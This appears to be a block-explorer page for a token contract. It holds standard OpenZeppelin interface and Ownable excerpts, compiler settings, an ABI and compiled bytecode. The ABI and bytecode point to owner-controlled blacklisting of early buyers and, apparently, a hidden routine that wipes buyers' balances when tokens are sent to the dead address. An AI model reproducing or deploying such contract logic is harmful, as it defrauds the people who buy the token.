@dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
{ "remappings": [], "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "london", "libraries": {}, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"deadblocks","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitsAfterRenounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604080518082018252600c81526b447961746c6f76205061737360a01b60208083019182528351808501909452600684526512d213d3105560d21b908401528151919291620000649160039162000435565b5080516200007a90600490602084019062000435565b5050506200009762000091620002e060201b60201c565b620002e4565b600980546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600580549091169055600a6011819055601e6012819055601382905560148190556c01431e0fae6d7217caa000000091620000fc9190620004db565b600f55601454601354620001119190620004db565b601055600980546000600a556001600b5561ffff60a81b1916600160a81b1790556103e86200014282601462000519565b6200014e9190620004f6565b600c556103e86200016182601e62000519565b6200016d9190620004f6565b600d55600854600680546001600160a01b0319166001600160a01b03909216919091179055612710620001a282601e62000519565b620001ae9190620004f6565b600e55620001d0620001c86008546001600160a01b031690565b600162000336565b620001dd30600162000336565b620001ec61dead600162000336565b6200020b620002036008546001600160a01b031690565b60016200039f565b620002183060016200039f565b6200022761dead60016200039f565b80600260008282546200023b9190620004db565b90915550819050600080620002586008546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805490910190556200028b6008546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002d191815260200190565b60405180910390a3506200058e565b3390565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62000340620003d4565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620003a9620003d4565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6008546001600160a01b03163314620004335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b565b82805462000443906200053b565b90600052602060002090601f016020900481019282620004675760008555620004b2565b82601f106200048257805160ff1916838001178555620004b2565b82800160010185558215620004b2579182015b82811115620004b257825182559160200191906001019062000495565b50620004c0929150620004c4565b5090565b5b80821115620004c05760008155600101620004c5565b60008219821115620004f157620004f162000578565b500190565b6000826200051457634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161562000536576200053662000578565b500290565b600181811c908216806200055057607f821691505b602082108114156200057257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6122d8806200059e6000396000f3fe6080604052600436106101e75760003560e01c80638da5cb5b11610102578063d163364911610095578063e2f4560511610064578063e2f4560514610553578063f2fde38b14610569578063f8b45b0514610589578063f9f92be41461059f57600080fd5b8063d1633649146104de578063d257b34f146104fe578063dd62ed3e1461051e578063df778d261461053e57600080fd5b8063a457c2d7116100d1578063a457c2d71461045e578063a9059cbb1461047e578063c02466681461049e578063c6616ba1146104be57600080fd5b80638da5cb5b146103ec57806395d89b41146104145780639e78fb4f14610429578063a2240e191461043e57600080fd5b8063537df3b61161017a578063715018a611610149578063715018a61461038c578063751039fc146103a15780637571336a146103b65780638c0b5e22146103d657600080fd5b8063537df3b6146103015780635ba3fb1d14610321578063667185241461033657806370a082311461035657600080fd5b806323b872dd116101b657806323b872dd14610284578063313ce567146102a457806339509351146102c05780634a62bb65146102e057600080fd5b806306fdde03146101f3578063095ea7b31461021e57806312b77e8a1461024e57806318160ddd1461026557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105cf565b604051610215919061204d565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611f86565b610661565b6040519015158152602001610215565b34801561025a57600080fd5b50610263610679565b005b34801561027157600080fd5b506002545b604051908152602001610215565b34801561029057600080fd5b5061023e61029f366004611f12565b6106b5565b3480156102b057600080fd5b5060405160128152602001610215565b3480156102cc57600080fd5b5061023e6102db366004611f86565b6106d9565b3480156102ec57600080fd5b5060095461023e90600160a81b900460ff1681565b34801561030d57600080fd5b5061026361031c366004611e98565b6106fb565b34801561032d57600080fd5b50610263610796565b34801561034257600080fd5b50610263610351366004611e98565b6107c5565b34801561036257600080fd5b50610276610371366004611e98565b6001600160a01b031660009081526020819052604090205490565b34801561039857600080fd5b5061026361082a565b3480156103ad57600080fd5b5061026361083e565b3480156103c257600080fd5b506102636103d1366004611f53565b610846565b3480156103e257600080fd5b50610276600c5481565b3480156103f857600080fd5b506008546040516001600160a01b039091168152602001610215565b34801561042057600080fd5b50610208610879565b34801561043557600080fd5b50610263610888565b34801561044a57600080fd5b50610263610459366004611fcb565b610aa5565b34801561046a57600080fd5b5061023e610479366004611f86565b610bdb565b34801561048a57600080fd5b5061023e610499366004611f86565b610c56565b3480156104aa57600080fd5b506102636104b9366004611f53565b610c64565b3480156104ca57600080fd5b506102636104d936600461201b565b610ccb565b3480156104ea57600080fd5b506102636104f9366004611fb2565b610db3565b34801561050a57600080fd5b5061023e610519366004611fb2565b610e29565b34801561052a57600080fd5b50610276610539366004611ed9565b610f58565b34801561054a57600080fd5b50610263610f83565b34801561055f57600080fd5b50610276600e5481565b34801561057557600080fd5b50610263610584366004611e98565b610f8b565b34801561059557600080fd5b50610276600d5481565b3480156105ab57600080fd5b5061023e6105ba366004611e98565b60196020526000908152604090205460ff1681565b6060600380546105de9061220b565b80601f016020809104026020016040519081016040528092919081815260200182805461060a9061220b565b80156106575780601f1061062c57610100808354040283529160200191610657565b820191906000526020600020905b81548152906001019060200180831161063a57829003601f168201915b5050505050905090565b60003361066f818585611001565b5060019392505050565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106b2573d6000803e3d6000fd5b50565b6000336106c3858285611125565b6106ce858585611199565b506001949350505050565b60003361066f8185856106ec8383610f58565b6106f6919061219b565b611001565b610703611777565b6001600160a01b03811660009081526019602052604090205460ff1615156001146107755760405162461bcd60e51b815260206004820152601f60248201527f4163636f756e74206973206e6f7420696e2074686520626c61636b6c6973740060448201526064015b60405180910390fd5b6001600160a01b03166000908152601960205260409020805460ff19169055565b6006546001600160a01b0316336001600160a01b0316146107b657600080fd5b6009805460ff60a81b19169055565b6107cd611777565b6006546040516001600160a01b03918216918316907f362a006325d32978b283e449d254cfcf93e2cccc321603ead9a74238d8dbf36e90600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b610832611777565b61083c60006117d1565b565b6107b6611777565b61084e611777565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6060600480546105de9061220b565b610890611777565b6005546001600160a01b0316156108e05760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b604482015260640161076c565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611ebc565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c357600080fd5b505afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611ebc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7b9190611ebc565b600580546001600160a01b0319166001600160a01b0392909216918217905561083c906001611823565b610aad611777565b600954600160a81b900460ff16610b065760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e676520617420746869732073746167650000000000604482015260640161076c565b6103e8610b1260025490565b610b1d9060016121d5565b610b2791906121b3565b8211610b695760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b604482015260640161076c565b6103e8610b7560025490565b610b8090600a6121d5565b610b8a91906121b3565b8111610bd05760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b604482015260640161076c565b600c91909155600d55565b60003381610be98286610f58565b905083811015610c495760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161076c565b6106ce8286868403611001565b60003361066f818585611199565b610c6c611777565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610cd3611777565b6011849055601283905560138290556014819055610cf1838561219b565b600f55601454601354610d04919061219b565b601055600f5460641015610d5a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161076c565b60646010541115610dad5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161076c565b50505050565b610dbb611777565b600954600160b01b900460ff1615610e0d5760405162461bcd60e51b81526020600482015260156024820152742a3930b2329034b99030b63932b0b23c9037b832b760591b604482015260640161076c565b6009805460ff60b01b1916600160b01b179055600b5543600a55565b6000610e33611777565b620186a0610e4060025490565b610e4b9060016121d5565b610e5591906121b3565b821015610ec25760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161076c565b6103e8610ece60025490565b610ed99060056121d5565b610ee391906121b3565b821115610f4f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161076c565b50600e55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61083c611877565b610f93611777565b6001600160a01b038116610ff85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161076c565b6106b2816117d1565b6001600160a01b0383166110635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161076c565b6001600160a01b0382166110c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161076c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006111318484610f58565b90506000198114610dad578181101561118c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161076c565b610dad8484848403611001565b6001600160a01b0383166111bf5760405162461bcd60e51b815260040161076c906120e5565b6001600160a01b0382166111e55760405162461bcd60e51b815260040161076c906120a2565b6001600160a01b03831660009081526019602052604090205460ff161561125f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722066726f6d20626c61636b6c6973746564604482015267081858d8dbdd5b9d60c21b606482015260840161076c565b600081116112bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b606482015260840161076c565b6001600160a01b03831660009081526016602052604090205460ff16806112fa57506001600160a01b03821660009081526016602052604090205460ff165b61134f57600954600160b01b900460ff1661134f5760405162461bcd60e51b815260206004820152601560248201527454726164696e67206973206e6f742061637469766560581b604482015260640161076c565b601554600e54811080159081906113705750600954600160a01b900460ff16155b801561139557506001600160a01b03851660009081526018602052604090205460ff16155b80156113ba57506001600160a01b03851660009081526016602052604090205460ff16155b80156113df57506001600160a01b03841660009081526016602052604090205460ff16155b1561140d576009805460ff60a01b1916600160a01b1790556113ff611877565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526016602052604090205460ff600160a01b90920482161591168061145b57506001600160a01b03851660009081526016602052604090205460ff165b15611464575060005b6001600160a01b03861660009081526017602052604090205460ff161580156114a657506001600160a01b03851660009081526017602052604090205460ff16155b80156114c35750600954600160a81b900460ff1680156114c35750805b156115af57600c5484111561151a5760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e7420657863656564656400604482015260640161076c565b6001600160a01b03861660009081526018602052604090205460ff16156115af57600d546001600160a01b038616600090815260208190526040902054611561908661219b565b11156115af5760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e74206578636565646564000000000000604482015260640161076c565b6000808215611762576001600160a01b03881660009081526018602052604090205460ff161561168d57600b54600a546115e9919061219b565b431015611614576001600160a01b0387166000908152601960205260409020805460ff191660011790555b6103e8600f548761162591906121d5565b61162f91906121b3565b9150600f546012548361164291906121d5565b61164c91906121b3565b6015600082825461165d919061219b565b9091555050600f5460115461167290846121d5565b61167c91906121b3565b611686908261219b565b9050611723565b6001600160a01b03871660009081526018602052604090205460ff1615611723576103e8601054876116bf91906121d5565b6116c991906121b3565b9150601054601454836116dc91906121d5565b6116e691906121b3565b601560008282546116f7919061219b565b909155505060105460135461170c90846121d5565b61171691906121b3565b611720908261219b565b90505b81156117555761173d883061173884866121f4565b611997565b6006546117559089906001600160a01b031683611997565b61175f82876121f4565b95505b61176d888888611997565b5050505050505050565b6008546001600160a01b0316331461083c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161076c565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b30600090815260208190526040902054601554811580611895575080155b1561189e575050565b600e548211156118ae57600e5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a16000600282601554856118ea91906121d5565b6118f491906121b3565b6118fe91906121b3565b9050600061190c82846121f4565b90504761191882611b3e565b600061192482476121f4565b6000601555905080841580159061193b5750600081115b1561198e5761194a8582611ca7565b601554604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b50505050505050565b6001600160a01b0383166119bd5760405162461bcd60e51b815260040161076c906120e5565b6001600160a01b0382166119e35760405162461bcd60e51b815260040161076c906120a2565b6001600160a01b03831660009081526020819052604090205481811015611a5b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161076c565b6005546001600160a01b0385811691161415611abd57600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03831661dead1415611ad857611ad8611d8b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610dad565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b7357611b73612277565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bc757600080fd5b505afa158015611bdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bff9190611ebc565b81600181518110611c1257611c12612277565b6001600160a01b039283166020918202929092010152600954611c389130911684611001565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7190859060009086903090429060040161212a565b600060405180830381600087803b158015611c8b57600080fd5b505af1158015611c9f573d6000803e3d6000fd5b505050505050565b600954611cbf9030906001600160a01b031684611001565b6009546001600160a01b031663f305d719823085600080611ce86008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611d4b57600080fd5b505af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611fed565b5050505050565b60005b600754811015611e6157600554600780546001600160a01b039092169183908110611dbb57611dbb612277565b6000918252602090912001546001600160a01b031614801590611e0e5750306001600160a01b031660078281548110611df657611df6612277565b6000918252602090912001546001600160a01b031614155b15611e5157600080600060078481548110611e2b57611e2b612277565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b611e5a81612246565b9050611d8e565b5061083c6007805460008255906000526020600020908101906106b291905b80821115611e945760008155600101611e80565b5090565b600060208284031215611eaa57600080fd5b8135611eb58161228d565b9392505050565b600060208284031215611ece57600080fd5b8151611eb58161228d565b60008060408385031215611eec57600080fd5b8235611ef78161228d565b91506020830135611f078161228d565b809150509250929050565b600080600060608486031215611f2757600080fd5b8335611f328161228d565b92506020840135611f428161228d565b929592945050506040919091013590565b60008060408385031215611f6657600080fd5b8235611f718161228d565b915060208301358015158114611f0757600080fd5b60008060408385031215611f9957600080fd5b8235611fa48161228d565b946020939093013593505050565b600060208284031215611fc457600080fd5b5035919050565b60008060408385031215611fde57600080fd5b50508035926020909101359150565b60008060006060848603121561200257600080fd5b8351925060208401519150604084015190509250925092565b6000806000806080858703121561203157600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b8181101561207a5785810183015185820160400152820161205e565b8181111561208c576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561217a5784516001600160a01b031683529383019391830191600101612155565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121ae576121ae612261565b500190565b6000826121d057634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121ef576121ef612261565b500290565b60008282101561220657612206612261565b500390565b600181811c9082168061221f57607f821691505b6020821081141561224057634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561225a5761225a612261565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146106b257600080fdfea2646970667358221220bddda9cd2517f2c17aaba85548f740387e233863f56b4a08ce3d6c71376e20f764736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c80638da5cb5b11610102578063d163364911610095578063e2f4560511610064578063e2f4560514610553578063f2fde38b14610569578063f8b45b0514610589578063f9f92be41461059f57600080fd5b8063d1633649146104de578063d257b34f146104fe578063dd62ed3e1461051e578063df778d261461053e57600080fd5b8063a457c2d7116100d1578063a457c2d71461045e578063a9059cbb1461047e578063c02466681461049e578063c6616ba1146104be57600080fd5b80638da5cb5b146103ec57806395d89b41146104145780639e78fb4f14610429578063a2240e191461043e57600080fd5b8063537df3b61161017a578063715018a611610149578063715018a61461038c578063751039fc146103a15780637571336a146103b65780638c0b5e22146103d657600080fd5b8063537df3b6146103015780635ba3fb1d14610321578063667185241461033657806370a082311461035657600080fd5b806323b872dd116101b657806323b872dd14610284578063313ce567146102a457806339509351146102c05780634a62bb65146102e057600080fd5b806306fdde03146101f3578063095ea7b31461021e57806312b77e8a1461024e57806318160ddd1461026557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105cf565b604051610215919061204d565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611f86565b610661565b6040519015158152602001610215565b34801561025a57600080fd5b50610263610679565b005b34801561027157600080fd5b506002545b604051908152602001610215565b34801561029057600080fd5b5061023e61029f366004611f12565b6106b5565b3480156102b057600080fd5b5060405160128152602001610215565b3480156102cc57600080fd5b5061023e6102db366004611f86565b6106d9565b3480156102ec57600080fd5b5060095461023e90600160a81b900460ff1681565b34801561030d57600080fd5b5061026361031c366004611e98565b6106fb565b34801561032d57600080fd5b50610263610796565b34801561034257600080fd5b50610263610351366004611e98565b6107c5565b34801561036257600080fd5b50610276610371366004611e98565b6001600160a01b031660009081526020819052604090205490565b34801561039857600080fd5b5061026361082a565b3480156103ad57600080fd5b5061026361083e565b3480156103c257600080fd5b506102636103d1366004611f53565b610846565b3480156103e257600080fd5b50610276600c5481565b3480156103f857600080fd5b506008546040516001600160a01b039091168152602001610215565b34801561042057600080fd5b50610208610879565b34801561043557600080fd5b50610263610888565b34801561044a57600080fd5b50610263610459366004611fcb565b610aa5565b34801561046a57600080fd5b5061023e610479366004611f86565b610bdb565b34801561048a57600080fd5b5061023e610499366004611f86565b610c56565b3480156104aa57600080fd5b506102636104b9366004611f53565b610c64565b3480156104ca57600080fd5b506102636104d936600461201b565b610ccb565b3480156104ea